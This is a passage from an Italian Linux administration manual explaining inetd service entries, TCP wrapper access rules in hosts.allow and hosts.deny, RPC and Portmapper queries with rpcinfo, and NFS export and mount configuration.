   Le parole chiave '**wait**' e '**nowait**' servono a definire il comportamento di un servizio, quando si utilizza il tipo di *socket* '**dgram**' (datagramma). In tutti gli altri casi, si usa esclusivamente la parola chiave '**nowait**'.

   In base alle richieste dei clienti, il demone '**inetd**' può avviare un certo numero (anche elevato) di copie di processi di uno stesso servizio. Il limite predefinito è di 40 ogni minuto (ovvero ogni 60 secondi) e può essere modificato aggiungendo alla parola chiave '**wait**' o '**nowait**' un'estensione composta da un punto seguito da un numero: il numero massimo di copie per minuto.

5. *utente* [. *gruppo*]

   Serve a definire l'utente ed eventualmente il gruppo in nome del quale avviare il servizio. Inetd viene avviato dalla procedura di inizializzazione del sistema, con i privilegi dell'utente '**root**'; di conseguenza, può cambiare l'utente e il gruppo proprietari dei processi che avvia, in modo da dare loro i privilegi strettamente necessari al compimento delle loro funzioni.

6. *programma_del_servizio*

   Definisce il percorso assoluto di avvio del programma che offre il servizio. Se si tratta di un servizio interno al supervisore dei servizi di rete stesso, si utilizza la parola chiave '**internal**' e l'ultimo campo non viene indicato.

7. *programma_e_argomenti*

   L'ultimo campo è anomalo, in quanto consente l'utilizzo degli spazi come parte dell'informazione in esso contenuta: si tratta del nome del programma, senza percorso, seguito dagli argomenti eventuali con cui questo deve essere avviato. Si osservi l'esempio seguente, in cui ci si trova a dover ripetere il nome '**ident2**' per questo motivo:

```
...
ident   stream  tcp     nowait  root    /usr/sbin/ident2  ident2
...
```

42.1.2 TCP wrapper

L'avvio di alcuni servizi può essere controllato utilmente da un sistema di registrazione e verifica, separato da Inetd, definito TCP wrapper.[2] Si tratta di un programma, o di una libreria da inserire in un programma che offre qualche tipo di servizio, con cui si eseguono dei controlli, in base ai quali si decide se avviare o meno il servizio corrispondente. Il TCP wrapper non è indispensabile per Inetd, ma il suo utilizzo è diventato una consuetudine, per poter avere almeno un controllo minimo sui servizi principali.

I compiti del TCP wrapper possono essere: annotare le connessioni nel registro di sistema; filtrare l'accesso ai servizi in base a regole determinate; eseguire delle verifiche contro possibili «imbrogli»; utilizzare protocolli di identificazione dell'utente da cui ha origine la richiesta di accesso.

Come accennato, può trattarsi di un programma generalizzato, come nel caso del demone '**`tcpd`**', oppure di una libreria che normalmente viene utilizzata dai programmi che funzionano in modo indipendente dal supervisore dei servizi di rete.

Qui viene mostrato solo l'uso elementare del TCP wrapper; tuttavia, si deve considerare che le funzionalità effettivamente disponibili dipendono anche dal modo in cui questo è stato compilato. Per un approfondimento delle sue potenzialità, si può consultare la documentazione originale: *tcpd(8)* e *hosts_access(5)*; inoltre, nella sezione 48.4 viene descritto come si può usare per realizzare delle «trappole».

La configurazione del TCP wrapper avviene attraverso la coppia di file '`/etc/hosts.allow`' e '`/etc/hosts.deny`'. Semplificando, quando il TCP wrapper viene interpellato a proposito di un tentativo di accesso, questo verifica che l'indirizzo del chiamante sia incluso nell'elenco di '`/etc/hosts.allow`'. Se è così non esegue altri controlli e permette l'accesso, altrimenti verifica che questo non sia incluso nell'elenco di '`/etc/hosts.deny`' (se entrambi i file mancano o sono vuoti, sono consentiti tutti gli accessi).

42.1.3 Dichiarazione all'interno di «/etc/inetd.conf»

La dichiarazione di un servizio all'interno del file '`/etc/inetd.conf`' (relativo a Inetd) può avvenire fondamentalmente in due modi possibili: con o senza il filtro del TCP wrapper. Si osservino i due esempi seguenti.

```
...
telnet  stream  tcp     nowait  root  /usr/sbin/in.telnetd  in.telnetd
...
```

```
...
telnet  stream  tcp     nowait  root  /usr/sbin/tcpd  in.telnetd
...
```

Nel primo caso, quando si instaura una connessione TELNET, il supervisore dei servizi di rete avvia direttamente il binario '`/usr/sbin/in.telnetd`', senza altre intermediazioni. L'albero dei processi potrebbe apparire come nell'esempio seguente:

`$` **`pstree`** [*Invio*]

```
init-+-inetd---in.telnetd---login---bash---…
     |
     …
```

Nel secondo caso, invece, un'eventuale connessione TELNET viene preceduta dalla verifica attraverso il TCP wrapper (in questo caso, costituito dal programma '**tcpd**'), il quale potrebbe anche rifiutarla, oppure semplicemente aggiungere dei controlli. Ma una volta completati i controlli, se il servizio può essere avviato, il programma '**tcpd**' si toglie di mezzo, per cui l'albero dei processi appare esattamente uguale a quanto già visto.

Quando si decide di utilizzare il TCP wrapper, si possono presentare altre possibilità. Per la precisione, perché funzioni quanto visto nell'ultimo esempio, occorre che l'eseguibile '**in.telnetd**' si trovi nella directory prevista dal programma '**tcpd**', secondo quanto definito in fase di compilazione dei sorgenti. In pratica, per un sistema GNU si tratta di '`/usr/sbin/`'.

Se il demone di un servizio determinato si trova in una collocazione differente rispetto a quella standard, questo potrebbe essere indicato utilizzando il percorso assoluto, come nell'esempio seguente:

```
…
telnet  stream  tcp  nowait  root  /usr/sbin/tcpd /root/bin/in.telnetd
…
```

In questo caso, viene specificato che il demone necessario a ricevere le connessioni TELNET è precisamente '`/root/bin/in.telnetd`'.

42.1.4 Configurazione del TCP wrapper

Come già accennato, la configurazione del TCP wrapper avviene attraverso la coppia di file '`/etc/hosts.allow`' e '`/etc/hosts.deny`', dove il primo serve a individuare accessi consentiti, mentre il secondo serve a definire accessi non consentiti.

I tentativi di accesso sono confrontati con le direttive contenute nel file '`/etc/hosts.allow`', continuando eventualmente con quelle di '`/etc/hosts.deny`'. Se si ottiene una corrispondenza con una direttiva del file '`/etc/hosts.allow`', l'accesso viene concesso, senza passare al controllo di '`/etc/hosts.deny`'; se non si ottiene alcuna corrispondenza con le direttive del file '`/etc/hosts.allow`', si passa all'analisi di quelle contenute in '`/etc/hosts.deny`' e solo se nessuna corrisponde all'accesso in corso, questo viene consentito. Pertanto, se i file '`/etc/hosts.allow`' e '`/etc/hosts.deny`' sono vuoti, o mancano, sono consentiti tutti gli accessi.

In generale, le righe che iniziano con il simbolo '**#**' sono ignorate, in qualità di commenti; le righe bianche e quelle vuote sono ignorate ugualmente. Le direttive occupano normalmente una riga, a meno che terminino con il simbolo '****' (subito prima del codice di interruzione di riga) che rappresenta una continuazione nella riga successiva.

La sintassi minima per le direttive di questi file dovrebbe corrisponde allo schema seguente:

elenco_di_demoni : *elenco_di_clienti*

Alla sinistra dei due punti si elencano i programmi demone il cui utilizzo si vuole concedere ai nodi di rete elencati alla destra. Gli elementi appartenenti a un elenco possono essere separati con una virgola o uno spazio.

È consentito l'uso di speciali nomi in qualità di metavariabili e altri simboli che facilitano l'indicazione di gruppi di nomi. Segue un elenco di elementi utilizzabili.

Elemento	Descrizione
.*indirizzo_ipv4* .*nome_di_dominio*	L'indirizzo IPv4 di un nodo che inizia con un punto indica in realtà tutti gli indirizzi che finiscono con quel suffisso. Se si utilizzano nomi di dominio invece di indirizzi numerici, si fa riferimento a un intero dominio. Per esempio, '**`.brot.dg`**' rappresenta tutti i nodi del dominio *`brot.dg`*.
indirizzo_ipv4. *prefisso_nome_di_dominio*.	L'indirizzo di un nodo che finisce con un punto indica in realtà tutti gli indirizzi che iniziano con quel prefisso. Se si utilizzano indirizzi IPv4 numerici, si fa riferimento a una rete intera. Per esempio, '**`192.168.`**' rappresenta tutti i nodi della rete 192.168.0.0.
`@`*dominio_nis*	Il nome di un dominio NIS viene indicato con il prefisso '**`@`**' e rappresenta tutti i nodi che appartengono a tale dominio.
indirizzo_ipv4/*maschera_ipv4*	Rappresenta gli indirizzi IPv4 che si ottengono eseguendo l'AND tra indirizzo e maschera. Per esempio, 192.168.72.0/255.255.254.0 rappresenta tutti gli indirizzi a partire da 192.168.72.0 a 192.168.73.255.
`[`*indirizzo_ipv6*`]`/*n_bit_maschera*	Rappresenta un gruppo di indirizzi IPv6, secondo la maschera. Per esempio, '**`[fec0:0:0:1::]/64`**' rappresenta tutti gli indirizzi fec0:0000:0000:0001::.
`ALL`	È una metavariabile che rappresenta tutto. Se si trova alla sinistra dei due punti indica tutti i demoni dei servizi, se si trova alla destra rappresenta tutti i nodi.
`LOCAL`	È una metavariabile che indica tutti gli elaboratori locali, intendendosi con questo quelli rappresentabili senza alcun punto.
`UNKNOWN`	È una metavariabile che rappresenta tutti i nodi il cui nome o indirizzo risulta sconosciuto. Se si vuole usare questo modello, occorre considerare che i nodi potrebbero risultare sconosciuti anche a causa di un'interruzione temporanea del servizio DNS.
`KNOWN`	È una metavariabile che rappresenta tutti i nodi il cui nome o indirizzo risulta conosciuto. Se si vuole usare questo modello, occorre considerare che i nodi potrebbero risultare sconosciuti anche a causa di un'interruzione temporanea del servizio DNS.
`PARANOID`	È una metavariabile che corrisponde ai nodi il cui nome non corrisponde all'indirizzo. In pratica, si vuole che '**`tcpd`**', attraverso il DNS, determini l'indirizzo in base al nome, quindi si vuole ancora che trasformi il nome in indirizzo (indirizzo --> nome --> indirizzo); se non c'è corrispondenza tra gli indirizzi ottenuti, il nodo rientra in questa categoria.
`EXCEPT`	È un operatore che può essere utilizzato all'interno di un elenco di nomi per escluderne i successivi.

Segue un elenco di esempi riferiti a direttive del file '`/etc/hosts.allow`':

Esempio	Descrizione
`ALL : ALL`	Consente l'utilizzo di qualsiasi servizio da parte di qualsiasi nodo.
`ALL : ALL EXCEPT .mehl.dg`	Consente l'utilizzo di qualsiasi servizio da parte di qualsiasi nodo a eccezione di quelli il cui dominio è *`mehl.dg`*.
`ALL : .brot.dg`	Consente l'utilizzo di qualsiasi servizio da parte dei nodi appartenenti al dominio *`brot.dg`*.
`ALL : .brot.dg EXCEPT caino.brot.dg`	Consente l'utilizzo di qualsiasi servizio da parte dei nodi appartenenti al dominio *`brot.dg`*, a esclusione di *`caino.brot.dg`*.
`ALL : 192.168.`	Consente l'utilizzo di qualsiasi servizio da parte dei nodi appartenenti alla sottorete 192.168.0.0.
`in.fingerd : LOCAL` `ALL : ALL`	L'ordine in cui appaiono le direttive è importante. In questo caso, le richieste per il servizio Finger (rappresentato dal demone '**`in.fingerd`**'), vengono accettate solo se provengono da indirizzi locali. Tutti gli altri servizi sono permessi da qualunque origine.

Per un controllo più facile degli accessi, conviene indicare all'interno del file '`/etc/hosts.deny`' soltanto '**`ALL : ALL`**' in modo da impedire tutti gli accessi che non siano consentiti esplicitamente da '`/etc/hosts.allow`'.

42.2 RPC: Remote Procedure Call

RPC, acronimo di *Remote procedure call*, è un meccanismo generale per la gestione di applicazioni cliente-servente. Il sistema si basa su un demone, il Portmapper, e un file che elenca i servizi disponibili associati al demone relativo. Il Portmapper funziona in modo autonomo dal supervisore dei servizi di rete. Semplificando in modo estremo il funzionamento delle RPC, si può dire che si tratti di un meccanismo attraverso cui si possono eseguire delle elaborazioni remote.

Dal lato servente si trova il Portmapper[3] in ascolto sulla porta 111, dal lato cliente ci sono dei programmi che, per un servizio RPC qualunque, devono prima interpellare il Portmapper remoto per ottenere le informazioni necessarie a stabilire una connessione con il demone competente.

Per questo motivo, le chiamate RPC contengono l'indicazione di un ***numero di programma***, attraverso il quale, il Portmapper remoto è in grado di rispondere informando il cliente sul numero di porta da utilizzare per quel programma.

I servizi RPC possono essere interrogati attraverso il programma '**`rpcinfo`**'. Per esempio, per chiedere al Portmapper dell'elaboratore *`weizen.mehl.dg`* quali servizi sono disponibili e per conoscere le loro caratteristiche, si può agire come nell'esempio seguente:

`$` **`rpcinfo -p weizen.mehl.dg`** [*Invio*]

```
program vers proto   port
 100000    2   tcp    111  portmapper
 100000    2   udp    111  portmapper
 100005    1   udp    844  mountd
 100005    1   tcp    846  mountd
 100003    2   udp   2049  nfs
 100003    2   tcp   2049  nfs
```

Una cosa da osservare è che alcuni dei programmi elencati tra i servizi RPC, non appaiono necessariamente anche nell'elenco del file '`/etc/services`'.

Il demone che si occupa di attivare i servizi RPC è '**`portmap`**' (a volte anche '**`rpc.portmap`**'), avviato e fermato dalla procedura di inizializzazione del sistema (restando indipendente dal controllo del supervisore dei servizi di rete).

```
portmap [opzioni]
```

Il file '`/etc/rpc`' contenente l'elenco dei servizi RPC disponibili, abbinati al numero di programma usato come riferimento standard. Il suo scopo è quindi quello di tradurre i nomi in numeri di programma e viceversa. Questi numeri riguardano esclusivamente la gestione dei servizi RPC e non vanno confusi con i numeri di porta (TCP/UDP '`/etc/services`') o di protocollo (IP '`/etc/protocols`').

```
# This file contains user readable names that can be used in place of
# rpc program numbers.
portmapper      100000  portmap sunrpc
rstatd          100001  rstat rstat_svc rup perfmeter
rusersd         100002  rusers
nfs             100003  nfsprog
ypserv          100004  ypprog
mountd          100005  mount showmount
ypbind          100007
walld           100008  rwall shutdown
yppasswdd       100009  yppasswd
etherstatd      100010  etherstat
rquotad         100011  rquotaprog quota rquota
...
```

42.2.1 Informazioni sulle RPC

Per interrogare un Portmapper si utilizza normalmente il programma '**`rpcinfo`**':[4]

```
rpcinfo -p [nodo]
```

```
rpcinfo [-n numero_di_porta] {-u|-t} nodo programma [versione]
```

```
rpcinfo {-b|-d} programma versione
```

L’utilità di questo programma sta quindi nella possibilità di conoscere quali servizi RPC sono disponibili all’interno di un certo nodo, oltre alla possibilità di verificare che questi siano effettivamente in funzione.

Tabella 42.12. Alcune opzioni.

Opzione	Descrizione
`-p` [*nodo*]	Interroga il Portmapper nell’elaboratore indicato, oppure in quello locale, elencando tutti i programmi RPC registrati presso lo stesso.
`-u` *nodo* *programma* [*versione*]	Utilizza il protocollo UDP per eseguire una chiamata RPC alla procedura zero (‘**`NULLPROC`**’) del programma nel nodo specificato. Il risultato viene emesso attraverso lo standard output.
`-t` *nodo* *programma* [*versione*]	Utilizza il protocollo TCP per eseguire una chiamata RPC alla procedura zero (‘**`NULLPROC`**’) del programma nel nodo specificato. Il risultato viene emesso attraverso lo standard output.
`-n` *numero_di_porta*	Permette di specificare una porta diversa rispetto a quella che viene indicata dal Portmapper, per eseguire una chiamata RPC attraverso le opzioni ‘**`-u`**’ e ‘**`-t`**’.
`-b` *programma* *versione*	Permette di eseguire una chiamata RPC circolare (broadcast) a tutti i nodi in grado di riceverla, utilizzando il protocollo UDP, per l’esecuzione della procedura zero (‘**`NULLPROC`**’) del programma e della versione specificati. Il risultato viene emesso attraverso lo standard output.
`-d` *programma* *versione*	L’utente ‘**`root`**’ può utilizzare questa opzione per eliminare la registrazione del servizio RPC del programma e della versione specificati.

Seguono alcuni esempi:

$ **`rpcinfo -p`** [*Invio*]

Elenca tutti i servizi RPC registrati nell’elaboratore locale.

```
program vers proto   port
 100000    2   tcp    111  portmapper
 100000    2   udp    111  portmapper
 100005    1   udp    844  mountd
 100005    1   tcp    846  mountd
 100003    2   udp   2049  nfs
 100003    2   tcp   2049  nfs
```

$ **`rpcinfo -p weizen.mehl.dg`** [*Invio*]

Elenca tutti i servizi RPC registrati nell'elaboratore *weizen.mehl.dg*.

$ **rpcinfo -b mountd 1** [*Invio*]

Elenca tutti i nodi in grado di fornire il servizio '**mountd**'.

```
127.0.0.1 localhost.localdomain
192.168.1.1 dinkel.brot.dg
192.168.1.2 roggen.brot.dg
```

42.2.2 Controllo sulle RPC

Generalmente, il Portmapper non viene messo sotto il controllo del supervisore dei servizi di rete; tuttavia, potrebbe essere stato compilato in modo da tenere in considerazione il contenuto dei file '/etc/hosts.allow' e '/etc/hosts.deny'. Indipendentemente dal fatto che ciò sia vero, se si usano questi file conviene prevedere le direttive che riguardano il Portmapper, in vista di aggiornamenti futuri. In generale, conviene inserire nel file '/etc/hosts.allow' la riga seguente:

```
portmap: specifica_dei_nodi
```

Per converso, conviene indicare la riga seguente nel file '/etc/hosts.deny', allo scopo di escludere gli accessi che non provengano dai nodi autorizzati espressamente:

```
portmap: ALL
```

Eventualmente, per una sicurezza maggiore, può essere conveniente inserire soltanto la direttiva seguente nel file '/etc/hosts.deny', sapendo che questa interferisce però con tutti gli altri programmi che interpretano questi file:

```
ALL: ALL
```

Ai fini del controllo attraverso filtri di pacchetto che si basano sul riconoscimento delle porte TCP o UDP, va ricordato che il Portmapper utilizza solitamente la porta 111.

42.3 NFS con i sistemi GNU/Linux

NFS è un servizio di rete che, avvalendosi delle RPC, permette la condivisione di porzioni di file system da e verso altri elaboratori connessi. Nell'ambito del modello ISO-OSI, il protocollo NFS si colloca al livello cinque (sessione). A seconda della versione del protocollo NFS, questo può avvalersi, al livello sottostante (trasporto), del protocollo UDP o del protocollo TCP.

Per la gestione o l'utilizzo del servizio NFS, il kernel Linux deve incorporare del codice appropriato che nella procedura di configurazione si individua come facoltà di gestione del file system NFS (sezione 8.3.21); tuttavia, benché incorporate, tali funzionalità devono poi essere controllate attraverso programmi di contorno.

Si può verificare la possibilità di accedere a un file system NFS leggendo il contenuto del file '/proc/filesystems'. L'esempio seguente rappresenta una situazione in cui ciò è possibile, per la presenza della riga '**nodev nfs**':

```
        ext3
        ext2
        minix
        umsdos
        msdos
        vfat
nodev   proc
nodev   nfs
nodev   smbfs
        iso9660
```

Per scoprire se il kernel consente di gestire la funzionalità di servente NFS, si può cercare il file '`/proc/net/rpc/nfsd`', il quale potrebbe contenere qualcosa simile all'esempio seguente:

```
rc 0 63064 138528
fh 0 194531 0 0 0
io 61203811 330360802
th 8 350 47.860 3.570 1.470 0.000 0.880 0.730 0.250 0.290 0.000 1.760
ra 16 7654 169 54 60 23 53 24 14 20 21 2115
net 201592 201592 0 0
rpc 201592 0 0 0 0
proc2 18 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
proc3 22 2 771 4595 101428 13065 19 10207 51228 3301 16 34 0 3310 ↩
↪15 520 45 2130 0 45 45 0 10816
```

42.3.1 Dal lato del servente

Dalla parte dell'elaboratore servente è necessario che oltre al Portmapper siano in funzione alcuni demoni, avviati secondo l'ordine seguente: '**`rpc.mountd`**', '**`rpc.nfsd`**', '**`rpc.statd`**', '**`rpc.lockd`**' ed eventualmente '**`rpc.rquotad`**'.[5] Quindi, è necessario che il file di configurazione '`/etc/exports`' sia stato configurato correttamente. Si può controllare la presenza del servizio attraverso l'interrogazione delle RPC:

`$` **`rpcinfo -p`** [*Invio*]

```
   program vers proto   port
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  54407  status
    100024    1   tcp  38826  status
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100021    1   udp  54411  nlockmgr
    100021    3   udp  54411  nlockmgr
    100021    4   udp  54411  nlockmgr
    100005    1   udp  54412  mountd
    100005    1   tcp  38827  mountd
    100005    2   udp  54412  mountd
    100005    2   tcp  38827  mountd
    100005    3   udp  54412  mountd
    100005    3   tcp  38827  mountd
```

Nello stesso modo, si può analizzare l'albero dei processi:

`$` **`pstree`** [*Invio*]

```
init-+-…
     …
      |-lockd---rpciod
     …
      |-8*[nfsd]
     …
      |-portmap---portmap
     …
      |-rpc.mountd
      |-rpc.statd
     …
```

Il programma '**`rpc.mountd`**' è il demone che si occupa di gestire l'innesto del file system di rete dal lato del servente:

`rpc.mountd` [***opzioni***]

Generalmente, viene avviato dalla procedura di inizializzazione del sistema, in modo autonomo, cioè indipendente dal supervisore dei servizi di rete. Mantiene aggiornato il file '`/var/lib/nfs/rmtab`' che elenca gli innesti in essere. Tuttavia, non è garantito che il contenuto di questo file sia esatto, per cui non lo si può utilizzare per determinare con certezza quali siano le connessioni in corso.

Il programma '**`rpc.nfsd`**' è il demone che si occupa di gestire le richieste, da parte dei clienti, per i servizi NFS, avvalendosi in pratica delle funzionalità del kernel Linux.

```
rpc.nfsd [opzioni]
```

Deve essere in funzione nel servente. Viene avviato generalmente dalla procedura di inizializzazione del sistema, subito dopo '**rpc.mountd**'. Anche '**rpc.nfsd**' funziona in modo autonomo rispetto al supervisore dei servizi di rete.

Il demone '**rpc.lockd**' si occupa di avviare la gestione del sistema di file lucchetto NFS, noto come NLM, ovvero *NFS lock manager*:

```
rpc.lockd
```

In generale, con i kernel Linux recenti non dovrebbe essere necessaria la presenza di questo programma; tuttavia, anche se così fosse, il suo avvio non provoca inconvenienti.

Il demone '**rpc.statd**' serve al sistema di file lucchetto NFS per aggiornare la situazione quando un elaboratore cliente viene riavviato o comunque si blocca:

```
rpc.statd [opzioni]
```

La configurazione del servizio avviene principalmente attraverso il file '`/etc/exports`', il quale contiene l'indicazione delle porzioni di file system locale da concedere in condivisione. Se il file manca o è vuoto, non viene concesso l'utilizzo di alcuna parte del file system locale all'esterno.

Si tratta di un file di testo normale, in cui vengono ignorate le righe vuote, quelle bianche e quelle che iniziano con il simbolo '**#**'; per il resto, le righe sono intese come dei record, ognuno dei quali è composto da:

- l'indicazione di una directory a partire dalla quale si concede la condivisione;
- una serie di nodi o reti cui viene concesso l'utilizzo di questa directory con l'eventuale specificazione di opzioni di accesso.

In pratica si utilizza la sintassi seguente:

```
directory_di_partenza [nodo] [(opzioni)]...
```

La configurazione di questo file potrebbe non dare sempre gli effetti previsti, a causa di difetti che possono essere presenti nei demoni che si occupano della gestione del servizio. In generale, si è cercato sempre di garantire la sicurezza, a discapito della funzionalità. Se una configurazione di '`/etc/exports`' sembra non funzionare senza un motivo apparente, è bene provarne altre, limitando l'uso di opzioni particolari, o cercando di identificare meglio gli elaboratori a cui si concede l'accesso. Eventualmente, si veda anche la pagina di manuale *exports(5)*.

Gli elaboratori a cui si concede l'accesso alla directory condivisa possono essere specificati in vari modi, alcuni dei quali sono elencati di seguito:

- **indicazione di un nodo singolo**

  quando si utilizza un nome o un indirizzo IP che fa riferimento da un elaboratore specifico;

- **uso di caratteri jolly**

  possono essere utilizzati i caratteri jolly '`*`' e '`?`' per indicare un gruppo di **nomi** di elaboratore con una sola notazione, tenendo presente che questi simboli non possono sostituirsi ai punti di un nome di dominio;

- **rete IP**

  attraverso la notazione '***indirizzo_ip*/*maschera_di_rete***' è possibile indicare simultaneamente tutti gli elaboratori collocati all'interno della rete o della sottorete a cui si fa riferimento.

Le opzioni tra parentesi tonde sono parole chiave particolari. Segue la descrizione di alcune di queste:

Parola chiave	Descrizione
`ro`	Consente l'accesso in sola lettura. Questa è la modalità di funzionamento predefinita.
`rw`	Consente l'accesso in lettura e scrittura.
`insecure_lock` `no_auth_nlm`	Questa opzione consente di usare un sistema di file lucchetto meno rigido, quando alcuni elaboratori clienti mostrano difficoltà in questo senso.
`root_squash`	Si tratta di un'opzione di sicurezza, di solito predefinita, attraverso la quale si impedisce l'accesso come utente '**`root`**'. In pratica, quando un utente '**`root`**' presso un elaboratore cliente utilizza il file system condiviso, viene trattato come utente '**`nobody`**'. L'utente '**`nobody`**' corrisponde spesso al numero UID 65534 (o −2 se si vuole considerare il valore come intero a 16 bit); tuttavia, questo utente non ha un numero UID standard, tanto che in alcuni sistemi si preferisce utilizzare un numero più basso di quelli assegnati agli utenti comuni.
`all_squash`	La presenza di questa opzione fa sì che tutti gli accessi al file system condiviso, avvengano con i privilegi dell'utente '**`nobody`**'.
`no_root_squash`	Non effettua la trasformazione dell'UID '**`root`**' e ciò è necessario quando si utilizzano clienti NFS senza disco fisso. Tuttavia, per mitigare il problema di sicurezza che si crea inevitabilmente, è auspicabile che l'uso di questa opzione sia abbinato almeno a un accesso in sola lettura.

L'elenco seguente mostra alcuni esempi di record di questo file; tuttavia si ricordi che tutto va verificato con il proprio kernel e con la versione del protocollo NFS usati effettivamente.

Esempio	Descrizione
`/usr *.brot.dg(ro)`	Concede ai nodi del dominio *`brot.dg`* l'accesso in lettura alla directory '`/usr/`' e seguenti.

Esempio	Descrizione
`/ roggen.brot.dg(ro,root_squash)`	Concede a *`roggen.brot.dg`* di accedere in sola lettura a partire dalla directory radice, escludendo i privilegi dell'utente '**`root`**'.
`/home roggen.brot.dg(rw) weizen.mehl.dg(rw)`	Concede a *`roggen.brot.dg`* e a *`weizen.mehl.dg`* di accedere in lettura e scrittura alla directory '`/home/`'.
`/usr/local 192.168.0.0/255.255.0.0(ro)`	Concede a tutti i nodi con indirizzi 192.168.*.* di accedere in lettura a partire dalla directory '`/usr/local/`'.
`/usr/local 192.168.0.0/16(ro)`	Esattamente come nell'esempio precedente, con una rappresentazione compatta della maschera di rete.
`/ *(ro,no_root_squash)`	Questa definizione non dovrebbe funzionare. Sembrerebbe voler concedere a tutta la rete di accedere in lettura a partire dalla directory radice, permettendo ai vari utenti '**`root`**' di mantenere i loro privilegi. Tuttavia l'asterisco non dovrebbe riuscire a rimpiazzare i punti che compongono i nomi di dominio, risolvendosi così in una directory che in pratica non viene condivisa.
`/ 0.0.0.0/0(ro,no_root_squash)`	Teoricamente, questo dovrebbe essere il modo corretto per ottenere il risultato che si presume voler ottenere nell'esempio precedente, limitatamente ai nodi con indirizzi IPv4.

Quando si modifica il file '`/etc/exports`', per garantire che il suo aggiornamento sia preso in considerazione dal sistema di condivisione del file system, è necessario utilizzare il programma '**`exportfs`**' nel modo seguente:

`#` **`exportfs -ra`** [*Invio*]

Il programma '**`exportfs`**' può anche essere usato per esportare al volo una directory, senza modificare il file '`/etc/exports`'. In generale, si tratta di una pratica non consigliabile, ma della quale bisogna tenere conto. Eventualmente si può consultare la pagina di manuale *exportfs(8)*.

Infine, bisogna considerare che alcuni dei demoni che abilitano il servizio NFS potrebbero essere stati compilati in modo da utilizzare i file '`/etc/hosts.allow`' e '`/etc/hosts.deny`' per controllare l'accesso. L'elenco seguente mostra in che modo abilitare o disabilitare l'accesso in modo selettivo per ogni demone coinvolto, tenendo conto che anche il Portmapper potrebbe dipendere da questi file:

Demone	'`/etc/hosts.allow`'	'`/etc/hosts.deny`'
Portmapper	`portmap:` ***specifica_dei_nodi***	`portmap:` ***specifica_dei_nodi***
'**`rpc.mountd`**'	`mountd:` ***specifica_dei_nodi***	`mountd:` ***specifica_dei_nodi***

Demone	'/etc/hosts.allow'	'/etc/hosts.deny'
'**rpc.nfsd**'	nfsd: ***specifica_dei_nodi***	nfsd: ***specifica_dei_nodi***
'**rpc.lockd**'	lockd: ***specifica_dei_nodi***	lockd: ***specifica_dei_nodi***
'**rpc.statd**'	statd: ***specifica_dei_nodi***	statd: ***specifica_dei_nodi***
'**rpc.rquotad**'	rquotad: ***specifica_dei_nodi***	rquotad: ***specifica_dei_nodi***

È molto probabile che molti di questi demoni siano insensibili al contenuto dei file '/etc/hosts.allow' e '/etc/hosts.deny'; tuttavia, se nel proprio sistema si utilizzano questi file, è meglio scrivere una riga di più in questi file, anche se inutile, piuttosto che dimenticarsene e avere problemi in seguito. Pertanto, per abilitare l'accesso a tutti questi demoni, conviene utilizzare le direttive seguenti nel file '/etc/hosts.allow':

```
portmap: specifica_dei_nodi
mountd: specifica_dei_nodi
nfsd: specifica_dei_nodi
lockd: specifica_dei_nodi
statd: specifica_dei_nodi
rquotad: specifica_dei_nodi
```

Per converso, può essere conveniente inserire le righe seguenti nel file '/etc/hosts.deny', allo scopo di escludere gli accessi che non provengano dai nodi autorizzati espressamente:

```
portmap: ALL
mountd: ALL
nfsd: ALL
lockd: ALL
statd: ALL
rquotad: ALL
```

42.3.2 Verifica del servizio

Quando il servizio NFS è attivo, si può verificare il funzionamento e l'utilizzo di questo con il programma '**showmount**':

```
showmount [opzioni] [nodo]
```

Se non si indica un nodo, viene interrogato il servizio NFS presso l'elaboratore locale.

Tabella 42.27. Alcune opzioni.

Opzione	Descrizione
`-a` `--all`	Elenca i clienti che utilizzano il proprio servizio e anche le directory che questi hanno innestato.
`-e` `--exports`	Elenca le directory esportate dal servente locale o dal servente remoto (se indicato come ultimo argomento del comando).

Quando si interroga la situazione dell'utilizzo in corso, le informazioni vengono tratte dal file '`/var/lib/xtab`', che però potrebbe mostrare l'utilizzo attuale di directory che in realtà non lo sono più.

42.3.3 Porte coinvolte

Il servizio NFS si avvale per il suo funzionamento del Portmapper e di altri demoni specifici. In alcuni casi, questi demoni comunicano utilizzando porte TCP o UDP definite in modo dinamico, pubblicizzate poi dal Portmapper stesso. I punti di riferimento costanti sono solo quelli seguenti:

Porta TCP o UDP	Demone
111	Portmapper
2049	'**`rpc.nfsd`**'

42.3.4 Dal lato del cliente

Con i sistemi GNU/Linux, l'utilizzo di un file system di rete richiede solo che il kernel sia stato predisposto per questo. Non occorrono programmi demone, basta il normalissimo '**`mount`**'.

Per innestare un file system di rete si interviene in modo analogo a quello di una unità di memorizzazione locale, con la differenza fondamentale del modo di esprimere il dispositivo virtuale corrispondente al file system remoto da connettere.

nodo_remoto **:** ***directory_remota***

La notazione sopra riportata rappresenta la porzione di file system remoto cui si vuole accedere, attraverso l'indicazione simultanea dell'elaboratore e della directory di partenza.

Supponendo che l'elaboratore *`dinkel.brot.dg`* conceda l'utilizzo della directory '`/usr/`' e successive, l'elaboratore *`roggen.brot.dg`* potrebbe sfruttarne l'occasione attraverso il programma '**`mount`**' nel modo seguente:

`#` **`mount -t nfs dinkel.brot.dg:/usr /usr`** [*Invio*]

Inoltre, nell'elaboratore *`roggen.brot.dg`* si potrebbe aggiungere una riga nel file '`/etc/fstab`' in modo da automatizzarne la connessione (21.4.1.6).

```
dinkel.brot.dg:/usr  /usr       nfs      defaults      0  0
```

Sia attraverso il programma '**mount**' (preceduti dall'opzione '**-o**'), sia nel file '/etc/fstab' (nel campo delle opzioni), possono essere specificate delle opzioni particolari riferite a questo tipo di file system. L'elenco seguente mostra solo alcune di queste opzioni, che possono avere rilevanza quando si innesta un file system di rete.

Opzione	Descrizione
rsize=***n***	Permette di specificare la dimensione dei pacchetti utilizzati in lettura da parte del cliente NFS. Il valore predefinito è di 1024 byte.
wsize=***n***	Permette di specificare la dimensione dei pacchetti utilizzati in scrittura da parte del cliente NFS. Il valore predefinito è di 1024 byte.
timeo=***n***	Permette di definire il valore del *timeout*, espresso in decimi di secondo, per il completamento delle richieste. In pratica, se entro quel tempo non si ottiene una conferma, si verifica un *minor timeout* e l'operazione viene ritentata con una durata di *timeout* doppia. Quando si raggiunge un *timeout* massimo di 60 secondi si verifica un *major timeout*. Il valore predefinito è sette, corrispondente a 0,7 secondi.
hard	Stabilisce che la connessione deve essere ritentata all'infinito, anche dopo un *major timeout*. È la modalità di funzionamento predefinita.
